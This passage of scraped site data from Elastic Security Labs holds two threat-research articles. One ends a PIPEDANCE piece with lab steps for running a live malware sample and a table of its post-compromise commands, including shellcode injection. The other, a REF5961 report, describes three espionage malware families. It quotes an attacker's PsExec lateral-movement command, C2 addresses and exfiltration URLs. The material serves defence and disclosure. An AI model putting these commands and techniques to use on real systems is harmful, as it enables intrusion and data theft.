\",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance\",rel:\"nofollow\",children:\"previous research\"}),\".\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"development\",children:\"Development\"}),`\n`,(0,t.jsx)(e.p,{children:\"To get a better understanding of different features within malware, our team at Elastic Security Labs sometimes writes custom applications and controllers to interact with the malware or malware infrastructure. This process helps cultivate knowledge of a sample\\u2019s core features, assists in understanding the control flow better, and further validates different areas such as inputs and outputs to functions and data structures. Another key benefit is to uncover functionality that was not directly observed during an intrusion but is still contained in the malware. This allows our team to collect more intelligence, build additional detections, and understand more of the adversary\\u2019s objectives behind the malware.\"}),`\n`,(0,t.jsx)(e.p,{children:\"While we don't cover these exact scenarios in this publication, here are some things that you can do with the client (but you may think of others):\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Understand how malware abuses named pipes\"}),`\n`,(0,t.jsx)(e.li,{children:\"Verify data sources for security tooling around network activity using named pipes\"}),`\n`,(0,t.jsx)(e.li,{children:\"Build a network decoder using PCAP data from PIPEDANCE\\u2019s communication requests\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"With the release of the client, we're hoping that the community can write additional PIPEDANCE clients in your favorite language and compare notes.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dancing-the-night-away-with-named-pipes/image3.jpg\",alt:\"Emulated PIPEDANCE Injection functionality\",width:\"1148\",height:\"608\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"getting-started\",children:\"Getting Started\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsxs)(e.em,{children:[(0,t.jsx)(e.strong,{children:\"Note:\"}),\" Please review the \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/PIPEDANCE/blob/main/README.md#requirements\",rel:\"nofollow\",children:\"requirements\"}),\" before setting up the lab environment. For this example, we will use two different endpoints in the same local network where named pipes, inter-process communication, and SMB settings are configured properly.\"]})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The first step is to download the PIPEDANCE \",(0,t.jsx)(e.a,{href:\"https://malshare.com/sample.php?action=detail\u0026hash=e5ae20ac5bc2f02a136c3cc3c0b457476d39f809f28a1c578cda994a83213887\",rel:\"nofollow\",children:\"sample\"}),\" (free \",(0,t.jsx)(e.a,{href:\"https://malshare.com/register.php\",rel:\"nofollow\",children:\"registration\"}),\" required) and start the program without any arguments on one endpoint. This machine is the targeted endpoint where the adversary is interested in running additional implants and performing reconnaissance. After execution, a named pipe will be created and await an incoming connection from our client.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`.\\\\e5ae20ac5bc2f02a136c3cc3c0b457476d39f809f28a1c578cda994a83213887\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Now that PIPEDANCE is running on our targeted machine, download and compile the client files within the \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/PIPEDANCE\",rel:\"nofollow\",children:\"repository\"}),\". The PIPEDANCE malware uses a hard-coded string, \",(0,t.jsx)(e.code,{children:\"u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe\"}),\", that serves as the named pipe name and RC4 key.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dancing-the-night-away-with-named-pipes/image2.png\",alt:\"Hardcoded named pipe/RC4 key within PIPEDANCE\",width:\"833\",height:\"217\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Take the newly compiled client program and execute it on a separate endpoint with one argument using either the target IP address or hostname of the machine running PIPEDANCE (machine from the previous step). An example of this would be:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`pipedance_client.exe 192.168.47.130\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"After execution, the client will check in with the PIPEDANCE victim to retrieve the PID of the malicious process, working directory, and user running the process. A menu of commands should be listed allowing the operator to perform various post-compromise activities.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dancing-the-night-away-with-named-pipes/image1.png\",alt:\"PIPEDANCE Client Menu\",width:\"1082\",height:\"623\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The appendix below contains the functions and their supported arguments.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"As part of our research investigating PIPEDANCE, we are releasing a client application that interacts with the malware. This tool can be used to evaluate existing security prevention/detection technologies as well as used for threat research purposes. Please check out our \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/PIPEDANCE\",rel:\"nofollow\",children:\"repository\"}),\", there is also a detection section with behavioral/YARA/hunting rules.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"appendix\",children:\"Appendix\"}),`\n`,(0,t.jsx)(e.h3,{id:\"handler-commands\",children:\"Handler Commands\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"Command ID\"}),(0,t.jsx)(e.th,{children:\"Description\"}),(0,t.jsx)(e.th,{children:\"Arguments\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0\"}),(0,t.jsx)(e.td,{children:\"Stop\"}),(0,t.jsx)(e.td,{children:\"PIPEDANCE client\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"1\"}),(0,t.jsx)(e.td,{children:\"Terminate process by PID\"}),(0,t.jsx)(e.td,{children:\"PID (ex. 9867)\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"2\"}),(0,t.jsx)(e.td,{children:\"Run shell command and print output\"}),(0,t.jsx)(e.td,{children:\"Command (ex. ipconfig)\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"4\"}),(0,t.jsx)(e.td,{children:\"List files in current working directory\"}),(0,t.jsx)(e.td,{})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"6\"}),(0,t.jsx)(e.td,{children:\"Write file to disk\"}),(0,t.jsx)(e.td,{children:\"Filename (full path), file content\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"7\"}),(0,t.jsx)(e.td,{children:\"Get current working directory\"}),(0,t.jsx)(e.td,{})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"8\"}),(0,t.jsx)(e.td,{children:\"Change current working directory\"}),(0,t.jsx)(e.td,{children:\"Folder path\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"9\"}),(0,t.jsx)(e.td,{children:\"List running processes\"}),(0,t.jsx)(e.td,{})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"23\"}),(0,t.jsx)(e.td,{children:\"Create random process with hijacked token from provided PID and inject shellcode (32bits)\"}),(0,t.jsx)(e.td,{children:\"PID (token hijack), shellcode\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"24\"}),(0,t.jsx)(e.td,{children:\"Create random process with hijacked token from provided PID and inject shellcode (64bits)\"}),(0,t.jsx)(e.td,{children:\"PID (token hijack), shellcode\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"25\"}),(0,t.jsx)(e.td,{children:\"Open process from provided PID and inject shellcode (32bits)\"}),(0,t.jsx)(e.td,{children:\"PID (thread hijack), shellcode\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"26\"}),(0,t.jsx)(e.td,{children:\"Open process from provided PID and inject shellcode (64bits)\"}),(0,t.jsx)(e.td,{children:\"PID (thread hijack), shellcode\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"71\"}),(0,t.jsx)(e.td,{children:\"HTTP connectivity check\"}),(0,t.jsx)(e.td,{children:\"Domain (ex. google.com)\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"72\"}),(0,t.jsx)(e.td,{children:\"DNS connectivity check with provided DNS server IP\"}),(0,t.jsx)(e.td,{children:\"DNS server IP\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"73\"}),(0,t.jsx)(e.td,{children:\"ICMP connectivity check\"}),(0,t.jsx)(e.td,{children:\"ICMP server IP\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"74\"}),(0,t.jsx)(e.td,{children:\"TCP connectivity check\"}),(0,t.jsx)(e.td,{children:\"IP, port\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"75\"}),(0,t.jsx)(e.td,{children:\"DNS connectivity check without DNS server\"}),(0,t.jsx)(e.td,{})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"99\"}),(0,t.jsx)(e.td,{children:\"Disconnect pipe / exit thread\"}),(0,t.jsx)(e.td,{})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"100\"}),(0,t.jsx)(e.td,{children:\"Terminate PIPEDANCE process / disconnect Pipe / exit thread\"}),(0,t.jsx)(e.td,{})]})]})]})})]})}function v(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(h,n)})):h(n)}var E=v;return y(D);})();\n;return Component;"},"_id":"articles/dancing-the-night-away-with-named-pipes.mdx","_raw":{"sourceFilePath":"articles/dancing-the-night-away-with-named-pipes.mdx","sourceFileName":"dancing-the-night-away-with-named-pipes.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/dancing-the-night-away-with-named-pipes"},"type":"Article","imageUrl":"/assets/images/dancing-the-night-away-with-named-pipes/photo-edited-12@2x.jpg","readingTime":"5 min read","series":"","url":"/dancing-the-night-away-with-named-pipes","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":2,"title":"Recap","href":"#recap"},{"level":2,"title":"Development","href":"#development"},{"level":2,"title":"Getting Started","href":"#getting-started"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"Appendix","href":"#appendix"},{"level":3,"title":"Handler Commands","href":"#handler-commands"}],"author":[{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Introducing the REF5961 intrusion set","slug":"introducing-the-ref5961-intrusion-set","date":"2023-10-04","description":"The REF5961 intrusion set discloses three new malware families targeting ASEAN members. The threat actor leveraging this intrusion set continues to develop and mature their capabilities.","image":"photo-edited-08@2x.jpg","tags":["security-research","malware-analysis","ref5961","ref2924","eagerbee","downtown","rudebird"],"body":{"raw":"\n## Preamble\n\n**Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.**\n\nElastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We’ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.\n\nIn this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.\n\nThe samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting [here](https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry) and updated [here](https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns)). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN). \n\nElastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we’re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.\n\n![REF5961 intrusion execution flow](/assets/images/introducing-the-ref5961-intrusion-set/image27.jpg)\n\n\nPart of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth [here](https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor).\n\n## Key takeaways\n\n* Elastic Security Labs is disclosing three new malware families:\n * EAGERBEE\n * RUDEBIRD\n * DOWNTOWN\n* Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns\n* The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities\n\n## EAGERBEE\n\nEAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.\n\nDuring our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as [LuckyMouse](https://malpedia.caad.fkie.fraunhofer.de/actor/apt27) (APT27, EmissaryPanda).\n\n### Code analysis\n\nEAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.\n\n![EAGERBEE dynamically constructs its Import Address Table](/assets/images/introducing-the-ref5961-intrusion-set/image25.png)\n\n\n**_Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing._**\n\nAfter resolving all the required Windows APIs, the malware creates a mutex with the string `mstoolFtip32W` to prevent multiple instances of the malware from running on the same machine.\n\n![Mutex setup](/assets/images/introducing-the-ref5961-intrusion-set/image1.png)\n\n\nThe malware gathers key information about the compromised system:\n* The computer's name is obtained using the `GetComputerNameW` function\n* The malware retrieves the Windows version by utilizing the `GetVersionExW` function\n* A globally unique identifier (GUID) is generated through the `CoCreateGuid` function\n* The processor architecture information is acquired using the `GetNativeSystemInfo` function\n* The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key `SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion`\n\n![Information collection](/assets/images/introducing-the-ref5961-intrusion-set/image19.png)\n\n\nThe sample’s operational schedule is controlled by the string `0-5:00:23;6:00:23;`. In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system: \n* active from Sunday(0) to Friday(5)\n* all hours between 00 and 23\n* Saturday(6) all hours between 00 and 23\n\nThis functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.\n\n![Configuration scheduling](/assets/images/introducing-the-ref5961-intrusion-set/image3.png)\n\n\nThe malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named `c:\\users\\public\\iconcache.mui`. This file is decrypted using the first character as the decryption key.\n\nThis configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure `IP:PORT`, where the character `s` is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.\n![Malware’s hardcoded configuration of C2 IPs](/assets/images/introducing-the-ref5961-intrusion-set/image18.png)\n\n\nThe configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.\n\nA configuration flag is embedded directly into the code in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.\n\nIn passive listening mode, the malware opens a listening socket on the port indicated in its configuration.\n\nWhen operating in active connection mode, the malware attempts to load its configuration from the file `c:\\users\\public\\iconcache.mui`. In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs\n\nThe author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.\n\n![Both forward and reverse connection functionalities are present in the binary](/assets/images/introducing-the-ref5961-intrusion-set/image16.png)\n\n\n**_Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion._**\n\nThe malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the `ProxyEnable` registry key within `Software\\Microsoft\\windows\\CurrentVersion\\Internet Settings`. If this key value is set to `1`, the malware extracts the information in the `ProxyServer` key. \n\nIf no proxy server is set, the malware connects directly to C2. \n\nHowever, if the proxy settings are defined, the malware also initializes the proxy by sending a `CONNECT` request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote `DONNECT` instead of `CONNECT` in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.\n\t\n![HTTP request string to connect to the setup proxy](/assets/images/introducing-the-ref5961-intrusion-set/image12.png)\n\n\nUpon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.\n\n![Payload execution in the same process](/assets/images/introducing-the-ref5961-intrusion-set/image7.png)\n\n\n### EAGERBEE connection to a Mongolian campaign\n\nDuring our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE [samples](https://www.virustotal.com/gui/search/09005775FC587AC7BF150C05352E59DC01008B7BF8C1D870D1CEA87561AA0B06%250AA191D8059E93C0AB479DE45CDD91C41B985F9BCCD7B2CAD9F171FEA1C5F19E2E/files) involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (`iconcache.mui` for EAGERBEE and `iconcaches.mui` in the Mongolian campaign). The samples consisted of multiple files and a lure document.\n\n![Decompressed files inside Mongolian campaign sample](/assets/images/introducing-the-ref5961-intrusion-set/image15.png)\n\n\nWhile analyzing the Mongolian campaign samples, we found a previous [webpage](https://www.virustotal.com/gui/url/7e0d899d54c6a0f43fbac0e633d821eefa9057e29df8c4956321fe947daaaa54) (`http://president[.]mn/en/ebooksheets.php`) hosted under Mongolian infrastructure serving a [RAR file](https://www.virustotal.com/gui/file/af8cb76d9d955d654ec89b85d1ab35e1886ec2ba1a8c600a451d1bd383fb4e66/detection) named `20220921_2.rar`. Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.\n\nThe lure text is centered around the regulations for the “Billion Trees National Movement Fund” and has been an important [topic](https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/) in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia’s government has undertaken an ambitious goal of planting one billion trees throughout the country.\n\n![Lure document](/assets/images/introducing-the-ref5961-intrusion-set/image5.png)\n\n\nFor this infection chain, they leveraged a signed Kaspersky application in order to sideload a [malicious DLL](https://www.virustotal.com/gui/file/4b3dc8609cba089e666b2086264e6f71dada57fdb3f160d2f5e546881a278766/relations). Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (`www.president[.]mn/upload.php`) via cURL. Persistence is configured using a Registry Run Key.\n\n![Hard-coded domain in first sample](/assets/images/introducing-the-ref5961-intrusion-set/image14.png)\n\n\n**_Note: Though it does not contain the .gov second-level domain, www.president[.]mn does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to oyunbold@datacenter.gov[.]mn which appears to be legitimate._** Based on string formatting and underlying behavior, this sample aligns with public [reporting](https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/) from AVAST related to a utility they call DataExtractor1.\n\n![Sensitive file collection on different drives](/assets/images/introducing-the-ref5961-intrusion-set/image9.png)\n\n\nWhile we didn’t find a WinRAR archive for the other linked sample, we found this related [executable](https://www.virustotal.com/gui/file/a191d8059e93c0ab479de45cdd91c41b985f9bccd7b2cad9f171fea1c5f19e2e). It functions similarly, using a different callback domain hosted on Mongolian infrastructure (`https://intranet.gov[.]mn/upload.php`).\n\n![Hard-coded domain in the second sample](/assets/images/introducing-the-ref5961-intrusion-set/image13.png)\n\n\nWhile it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.\n\n### EAGERBEE Summary\n\nEAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.\n\nUsing code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.\n\n## RUDEBIRD\n\nWithin the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.\n\n### Initial execution\n\nThe backdoor was executed by a file with an invalid signature, `C:\\Windows\\help\\RVTDM.exe`, which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert. \n\n![PE signature and original filename details of RVTDM.exe](/assets/images/introducing-the-ref5961-intrusion-set/image28.png)\n\n\nThe process was executed with the parent process (`w3wp.exe`) coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.\n\n### Lateral movement\n\nRUDEBIRD used PsExec (`exec.exe`) to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment. \n\n`\"C:\\windows\\help\\exec.exe\" /accepteula \\\\{victim-1} -d -s C:\\windows\\debug\\RVTDM.EXE`\n\n### Code analysis\n\nRUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the `kernel32.dll` and `ntdll.dll` modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.\n\n![Resolving imports using TEB/PEB](/assets/images/introducing-the-ref5961-intrusion-set/image22.png)\n\n\nRUDEBIRD uses a straightforward API hashing algorithm with multiplication (`0x21`) and addition that is [publicly available](https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py) from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.\n\n![RUDEBIRD API Hashing algorithm](/assets/images/introducing-the-ref5961-intrusion-set/image11.png)\n\n\nAfter resolving the libraries, there is an initial enumeration function that collects several pieces of information including:\n* Hostname\n* Computer name\n* Username\n* IP Address\n* System architecture\n* Privilege of the current user\n\nFor some functions that return larger amounts of data, the malware implements compression using `RtlCompressBuffer`. The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:\n\n* `45.90.58[.]103`\n* `185.195.237[.]123`\n\nStrangely, there are several functions throughout the program that include calls to `OutputDebugStringA`. This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.\n\n![RUDEBIRD debug string](/assets/images/introducing-the-ref5961-intrusion-set/image21.png)\n\n\nRUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to `VV.0`.\n\n![RUDEBIRD mutex](/assets/images/introducing-the-ref5961-intrusion-set/image24.png)\n\n\nAfter the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:\n* Retrieve victim’s desktop directory path\n* Retrieve disk volume information \n* Perform file/directory enumeration\n* Perform file operations such as reading/writing file content\n* Launch new processes\n* File/folder operations such as creating new directories, move/copy/delete/rename files\n* Beacon timeout option\n\n## DOWNTOWN (SManager/PhantomNet)\n\nIn the REF2924 environment, we observed a modular implant we call DOWNTOWN. This sample shares a plugin architecture, and code similarities, and aligns with the victimology described in the publicly reported malware [SManager/PhantomNet](https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager). While we have little visibility into the impacts of its overall use, we wanted to share any details that may help the community. \n\nSManager/PhantomNet has been attributed to [TA428](https://malpedia.caad.fkie.fraunhofer.de/actor/ta428) (Colourful Panda, BRONZE DUDLEY), a threat actor likely sponsored by the Chinese government. Because of the shared plugin architecture, code similarities, and victimology, we are attributing DOWNTOWN with a moderate degree of confidence to a nationally sponsored Chinese threat actor.\n\n### Code analysis\n\nFor DOWNTOWN, we collected the plugin from a larger framework. This distinction is made based on unique and shared exports from previously published [research](https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/) by ESET. One of the exports contains the same misspelling previously identified in the ESET blog, `GetPluginInfomation` (note: `Infomation` is missing an `r`). The victimology of REF2924 is consistent with their reported victim vertical and region.\n\n![DOWNTOWN exports](/assets/images/introducing-the-ref5961-intrusion-set/image8.png)\n\n\nIn our sample, the plugin is labeled as “ExplorerManager”. \n\n![GetPlugInfomation export](/assets/images/introducing-the-ref5961-intrusion-set/image26.png)\n\n\nThe majority of the code appears to be centered around middleware functionality (linked lists, memory management, and thread synchronization) used to task the malware. \n\n![Strings found inside DOWNTOWN sample](/assets/images/introducing-the-ref5961-intrusion-set/image4.png)\n\n\nIn a similar fashion to RUDEBIRD above, DOWNTOWN also included the debug functionality using `OutputDebugStringA`. Again, debugging frameworks are usually removed once the software is moved from development to production status. This could indicate that this module is still in active development or a lack of operational scrutiny by the malware author(s).\n\n![OutputDebugStringA usage](/assets/images/introducing-the-ref5961-intrusion-set/image2.png)\n\n\nSome functionality observed in the sample included:\n* File/folder enumeration\n* Disk enumeration\n* File operations (delete/execute/rename/copy)\n\nUnfortunately, our team did not encounter any network/communication functionality or find any domain or IP addresses tied to this sample. \n\n### DOWNTOWN Summary\n\nDOWNTOWN is part of a modular framework that shows probable ties to an established threat group. The observed plugin appears to provide middleware functionality to the main implant and contains several functions to perform enumeration.\n\n## Network infrastructure intersection\n\nWhen performing an analysis of the network infrastructure for EAGERBEE and RUDEBIRD, we identified similarities in the domain hosting provider, subdomain naming, registration dates, and service enablement between the two malware families’ C2 infrastructure. Additionally, we were able to use TLS leaf certificate fingerprints to establish another connection between EAGERBEE and the Mongolian campaign infrastructure.\n\n### Shared network infrastructure\n\nAs identified in the malware analysis section for EAGERBEE, there were two IP addresses used for C2: `185.82.217[.]164` and `195.123.245[.]79`.\n\nOf the two, `185.82.217[.]164` had an expired TLS certificate registered to it for `paper.hosted-by-bay[.]net`. The 